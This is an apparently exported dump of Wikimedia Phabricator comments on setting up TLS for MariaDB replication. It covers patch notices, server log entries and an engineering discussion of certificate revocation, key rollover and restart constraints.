+",,,1463069135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+661178,Set up TLS for MariaDB replication,"Change 288419 had a related patch set uploaded (by Volans):
+Remove temporary certificate with both CAs
+
+[[https://gerrit.wikimedia.org/r/288419]]
+",,,1463069032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660906,Set up TLS for MariaDB replication,"Change 288205 merged by Volans:
+MariaDB: Change mariadb::core parameters
+
+[[https://gerrit.wikimedia.org/r/288205]]",,,1463041955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660316,Set up TLS for MariaDB replication,"Change 288205 had a related patch set uploaded (by Volans):
+MariaDB: Change default ssl mode to puppet-cert
+
+[[https://gerrit.wikimedia.org/r/288205]]
+",,,1462976491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+657795,Set up TLS for MariaDB replication,"Change 247542 abandoned by Jcrespo:
+[WIP] Script to generate openssh TLS keys for mysql replication
+
+[[https://gerrit.wikimedia.org/r/247542]]",,,1462551341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+657486,Set up TLS for MariaDB replication,">>! In T111654#2266901, @faidon wrote:
+> To keep such a security feature effective and have this be a real protection against snooping, rather than just security theater, we should do our best to protect ourselves from both cryptographic and software vulnerabilities. The fact that this is an internal service and TLS isn't used for authn/z protects us from some classes of said vulnerabilities, but, unfortunately, not most.
+
+I agree, as said above I'll stick for my answer only to MySQL replication, not clients connections. As a disclaimer I'm surely not expert in cryptography, hence correct me if I'm wrong.
+ 
+> This includes, but is not limited to:
+> - Revocation of a certificate in case of a host's private key compromise (or suspicion of that). This can happen for whatever reason, such as: a heap overflow in the MySQL protocol (as the key is in the MySQL memory space); an OpenSSL protocol vulnerability, like Heartbleed; a sysadmin error (pasting a key in cleartext); a malicious action by a rogue sysadmin.
+
+In this case we will probably re-image the host itself. Regarding the usage it's certificate it will be able to create a TLS connection to other MySQL servers if it is in possession also of valid credentials, but AFAIK will not be able to decrypt any traffic between any other MySQL server, the certificates are one per host.
+
+> - Revocation of multiple/all certificates due to a CA private key compromise or a fleet-wise compromise: this can happen for many of the same reasons as above, but includes a widened attack surface (e.g. puppet, salt)
+
+This will be an emergency situation, see my comment on this case scenario at the bottom.
+
+> - Key rollovers due to cryptographic concerns. Example: 1024-bits RSA is considered by many broken at this point. Many of our hosts (including some of the databases….) use such a weak key.
+
+Absolutely agree, I actually thought they were all already replaced with 4k ones given the concerns on performances that everyone had, my bad to not have checked their size on all hosts. The solution is the same of the next point.
+
+> - Short-ish expiry times in issued certificates, to protect against clients not performing CRL/OCSP revocation checks (MySQL is among them). Some pieces of software (like Vault) are recommending certificates as short as 24h, which is completely unrealistic right now; I'd be happy with 1-year expiry. The 5 year expiry that puppet (and hence databases) has is definitely outside the margins of safety, IMHO. (puppet does perform CRL checking, though)
+
+This is the most challenging to solve without changes in MySQL code IMHO.
+
+> - Restarts due to library vulnerabilities that can weaken security due to either a cryptographic implementation vulnerability, a protocol/cipher vulnerability or a vulnerability in different parts of the system (e.g. libc) that can expose sensitive memory contents. OpenSSL has had tons of both implementation and protocol updates in the past few years.
+
+If it's a very bad vulnerability will be an emergency situation, see my comment on this case scenario at the bottom. If instead is a less critical one fall back into the previous point and is actually more challenging. 
+
+> I realize that addressing /any/ of the above is not straightforward and currently very challenging. I understand at least some of the reasons for that.
+> 
+> Having such a process be a one year endeavour is simply not acceptable, though. Therefore, it'd be great if the DBA team made this a priority and worked on ways to reduce such a turn-around time to comfortable levels (~the ones that we have for the rest of our infrastructure).
+> 
+> Without giving it too much though, I think the initial goal would be to be able to perform key rollovers (and possibly server restarts) with a short notice (~a day) and in a short timeframe (~less than a week), without a user-impacting outage. Our first iteration could potentially include read-only time, as this is a measure that affects our editors, but is something that we can endure in the case of an emergency. (@MoritzMuehlenhoff may have an opinion on those requirements as well) 
+> 
+> Is this something that we can agree to work on?
+> 
+> (by the way, thanks for your elaborate response @Volans)
+
+With the current MySQL implementation key rollover or server restart are almost the same from the operational point of view. Once we need to stop MySQL to rotate the keys, performing also a reboot adds just the time of the reboot and the risk it doesn't reboot at all (like db1058).
+
+I think we should split the emergency situations from the normal rolling restart of servers:
+- **Emergency situation**: critical situations call for drastic measures, and in our current status I think that the quickest and operationally easiest way to achieve that for the most critical clusters would be to fix codfw and then switchover. Being a passive datacenter we could batch restart pretty quickly and wait for the buffer pools to replenish.
+- **Normal rolling restart**: much more challenging because it requires much more time to do them one by one. The way to go here is to be able to simplify and then automate this process as much as possible. In order to do that we would need at least:
+ - ability to depool/pool and change MW role to a DB dynamically without requiring to commit into mediawiki-config and sync-file. There is a problem here for long running jobs. [already in the longterm plan]
+ - enough capacity to allow to depool 2 servers per shard for core DBs to be able to do the fleet in a timely manner.
+ - be able to failover the masters without downtime, with some sort of multi-master solution [see T119626 for example]
+ - a plan for clusters with reduced redundancy and special roles (many misc, sanitarium, dbstores, labsdb, tool labs, parsercache). [less critical but more challenging]
+
+",,,1462493810,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+657092,Set up TLS for MariaDB replication,">>! In T111654#2249183, @Volans wrote:
+> @faidon, given that:
+> - MySQL is (and should remain IMHO) an internal service only
+> - hence we are in physical control of all the servers and the clients
+> - we are not using the SSL/TLS certificates for any form of authentication/authorization
+> what practical concerns do you have?
+
+We are using TLS to encrypt traffic, because we have perceived attack scenarios during which plaintext bitstreams may be captured and analyzed by an adversary, especially (but not limited to) packets travelling over our WAN.
+
+To keep such a security feature effective and have this be a real protection against snooping, rather than just security theater, we should do our best to protect ourselves from both cryptographic and software vulnerabilities. The fact that this is an internal service and TLS isn't used for authn/z protects us from some classes of said vulnerabilities, but, unfortunately, not most.
+
+This includes, but is not limited to:
+- Revocation of a certificate in case of a host's private key compromise (or suspicion of that). This can happen for whatever reason, such as: a heap overflow in the MySQL protocol (as the key is in the MySQL memory space); an OpenSSL protocol vulnerability, like Heartbleed; a sysadmin error (pasting a key in cleartext); a malicious action by a rogue sysadmin.
+- Revocation of multiple/all certificates due to a CA private key compromise or a fleet-wise compromise: this can happen for many of the same reasons as above, but includes a widened attack surface (e.g. puppet, salt)
+- Key rollovers due to cryptographic concerns. Example: 1024-bits RSA is considered by many broken at this point. Many of our hosts (including some of the databases….) use such a weak key.
+- Short-ish expiry times in issued certificates, to protect against clients not performing CRL/OCSP revocation checks (MySQL is among them). Some pieces of software (like Vault) are recommending certificates as short as 24h, which is completely unrealistic right now; I'd be happy with 1-year expiry. The 5 year expirty that puppet (and hence databases) has is definitely outside the margins of safety, IMHO. (puppet does perform CRL checking, though)
+- Restarts due to library vulnerabilities that can weaken security due to either a cryptographic implementation vulnerability, a protocol/cipher vulnerability or a vulnerability in different parts of the system (e.g. libc) that can expose sensitive memory contents. OpenSSL has had tons of both implementation and protocol updates in the past few years.
+
+I realize that addressing /any/ of the above is not straightforward andcurrently very challenging. I understand at least some of the reasons for that.
+
+Having such a process be a one year endeavour is simply not acceptable, though. Therefore, it'd be great if the DBA team made this a priority and worked on ways to reduce such a turn-around time to comfortable levels (~the ones that we have for the rest of our infrastructure).
+
+Without giving it too much though, I think the initial goal would be to be able to perform key rollovers (and possibly server restarts) with a short notice (~a day) and in a short timeframe (~less than a week), without a user-impacting outage. Our first iteration could potentially include read-only time, as this is a measure that affects our editors, but is something that we can endure in the case of an emergency. (@MoritzMuehlenhoff may have an opinion on those requirements as well) 
+
+Is this something that we can agree to work on?
+
+(by the way, thanks for your elaborate response @Volans)",,,1462449176,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,44,True,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+654017,Set up TLS for MariaDB replication,"A bit offtopic, but Re:
+> right now requires RO on MediaWiki, the procedure can surely be improved
+
+I think something along the lines of ""master-master"" (galera?) with a fast connection failover (proxy?) + GTIDs could solve that and eliminate the SPOF, which is essentially T119626",,,1461924816,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+653663,Set up TLS for MariaDB replication,"> Because the ""easier"" way that I see to achieve a ""light"" certificate replacement for MySQL is to contribute upstream implementing the feature.
+
+Actually, that was my point, sponsor that feature at some vendor (or hire a C developer for 6 months).",,,1461865935,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+653662,Set up TLS for MariaDB replication,"The problem here is that MySQL/MariaDB support of SSL/TLS is still pretty simple:
+- all SSL related stuff are loaded at startup only, there is no dynamic way to reload a new certificate, CA or revocation list
+- as of now any change to SSL configuration on the server side requires a MySQL restart
+- to restart a master we need to failover to another master (right now requires RO on MediaWiki, the procedure can surely be improved)
+- even to restart a slave we need up to ~7hours before being able to repool it with it's original weight (time to load the buffer pool on new servers with larger RAM, see https://jira.mariadb.org/browse/MDEV-9930 )
+
+The only exception is how a slave connects to a master for replication, because in that case it acts as a client and for that specific connection you can change all SSL parameters just stopping and restarting the replication thread. Of course those needs to match the ones of it's master (that needs to be restarted to change them, back in the loop).
+
+@faidon, given that:
+- MySQL is (and should remain IMHO) an internal service only
+- hence we are in physical control of all the servers and the clients
+- we are not using the SSL/TLS certificates for any form of authentication/authorization
+what practical concerns do you have?
+
+Because the ""easier"" way that I see to achieve a ""light"" certificate replacement for MySQL is to contribute upstream implementing the feature.
+Even having some intermediate layer (proxy, MaxScale, etc..) that does TLS termination and then have another TLS connection to the MySQL servers will not solve the issue, just narrow it down to the backend connection only with a low and fixed number of clients.
+
+(my 2 cents)",,,1461865767,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+653637,Set up TLS for MariaDB replication,"> we should definitely be prepared to do certificate replacements ""lightly""
+
+I will ask for a budget to several vendors to implement this functionality, (or should we prefer to implement it in-house?)",,,1461863890,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+653623,Set up TLS for MariaDB replication,">>! In T111654#2249010, @jcrespo wrote:
+> Changing the cert would be blocked by doing another failover, as it would require another full restart and would stop replication from working (it cannot be done in a hot way). Not something to take lightly.
+
+We want to change the puppet CA anyway, as this is presenting problems elsewhere as well (including on the puppet infrastructure itself) — so this will happen at some point, hopefully not too far off. Eventually we'd like to replace it with a proper PKI system, but that's a longer way off.
+
+In any case, we should definitely be prepared to do certificate replacements ""lightly"", for no other reason than our preparedness in case of security incidents — think of the Debian predictable certificates a few years back, or, more recently, Heartbleed. I do realize how challenging this can be; but such an emergency *will* happen, it's just a matter of time.",,,1461863279,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+653622,Set up TLS for MariaDB replication,"Change 278052 abandoned by Volans:
+[WIP] DB: Use generated CA for the TLS transition
+
+[[https://gerrit.wikimedia.org/r/278052]]",,,1461863252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653611,Set up TLS for MariaDB replication,"> we should have a separate task for that
+
+BTW, that has not been done because I do not expect to be able to finish this task in less than 6 months (and such a task would be blocked by it). My estimation is that it takes around 1 year to do a full MySQL rolling restart.",,,1461862378,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+653607,Set up TLS for MariaDB replication,"Changing the cert would be blocked by doing another failover, as it would require another full restart and would stop replication from working (it cannot be done in a hot way). Not something to take lightly.
+
+In fact, with some kind of persistent connections (planed for a proxy/mediawiki) connection speed (large certs) would not be an issue.",,,1461862156,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+653603,Set up TLS for MariaDB replication,"Thanks for the update, @volans. Could you also briefly mention and/or update the task description with some numbers (how many slaves are TLS-enabled, how many are left) and a rough estimate of what would be required to complete this work?
+
+Client connections is a bit off-topic to this task (which is about replication) — we should have a separate task for that — could you guys take care of that? We should probably block it on a task to replace the 4K RSA puppet CA.",,,1461861694,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0
+653561,Set up TLS for MariaDB replication,"= Update on current Status
+=== MySQL Replica
+- Thanks to the switchover to codfw we were able to complete the coredb masters failover/restart on eqiad hence now the circular replication eqiad<->codfw is using TLS with Puppet's certificates (one per host with FQDN that allows to verify the server's certificate on connection).
+- Slaves within the same datacenter are getting the new certificates through the usual rolling restart of them that will continue as usual.
+
+=== Clients connections
+While it is now possible to connect to MySQL using TLS using the client's host Puppet certificate, it could not easily be used for all connections because:
+- the MySQL client needs to support OpenSSL, not YaSSL
+- current Puppet's certificates are at 4096 bytes, their overhead must be tested and probably would be better to use 2048 bytes certificates
+- to be able to verify the connection the FQDN needs to be used, that will surely use also the DNS that is avoided in many cases.",,,1461857620,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1
+649378,Set up TLS for MariaDB replication,"Change 284668 abandoned by Volans:
+Skip SSL options when using socket connection
+
+[[https://gerrit.wikimedia.org/r/284668]]",,,1461236744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+649373,Set up TLS for MariaDB replication,"Change 284668 had a related patch set uploaded (by Volans):
+Skip SSL options when using socket connection
+
+[[https://gerrit.wikimedia.org/r/284668]]
+",,,1461235109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+648817,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQz0TZEgCrwkbTdmBaV} [2016-04-20T13:17:09Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s1 on eqiad T111654",,,1461158229,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648796,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzwXWy1EdYBLP_7pOH} [2016-04-20T12:59:57Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s4 on eqiad T111654",,,1461157197,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648791,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzvF6R1EdYBLP_7pOD} [2016-04-20T12:54:23Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s5 on eqiad T111654",,,1461156863,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648787,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQztzv_gCrwkbTdmBZu} [2016-04-20T12:48:47Z] <jynus> [switchover-maintenance] Changing DB slave topology for shard s3 on eqiad T111654",,,1461156527,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648779,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzrOF6D0x0K5Df_VCU} [2016-04-20T12:37:28Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s6 on eqiad T111654",,,1461155848,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648773,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQzmpoG1EdYBLP_7pNl} [2016-04-20T12:17:30Z] <volans> [switchover-maintenance] Changing DB slave topology for shard s7 on eqiad T111654",,,1461154651,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+648702,Set up TLS for MariaDB replication,"Change 283771 merged by Jcrespo:
+MariaDB: complete TLS and master configuration
+
+[[https://gerrit.wikimedia.org/r/283771]]",,,1461146498,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646894,Set up TLS for MariaDB replication,"Change 283771 had a related patch set uploaded (by Volans):
+[codfw-rollout] MariaDB: use Puppet cert for all core DBs
+
+[[https://gerrit.wikimedia.org/r/283771]]
+",,,1460821619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646749,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQbvVutgCrwkbTdl_sM} [2016-04-15T21:04:35Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool new db1075,1077,1078 after TLS upgrade on s3 - T111654 (duration: 00m 36s)",,,1460754275,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646747,Set up TLS for MariaDB replication,"Change 283748 merged by jenkins-bot:
+Repool with low weight new s3 DB after TLS upgrade
+
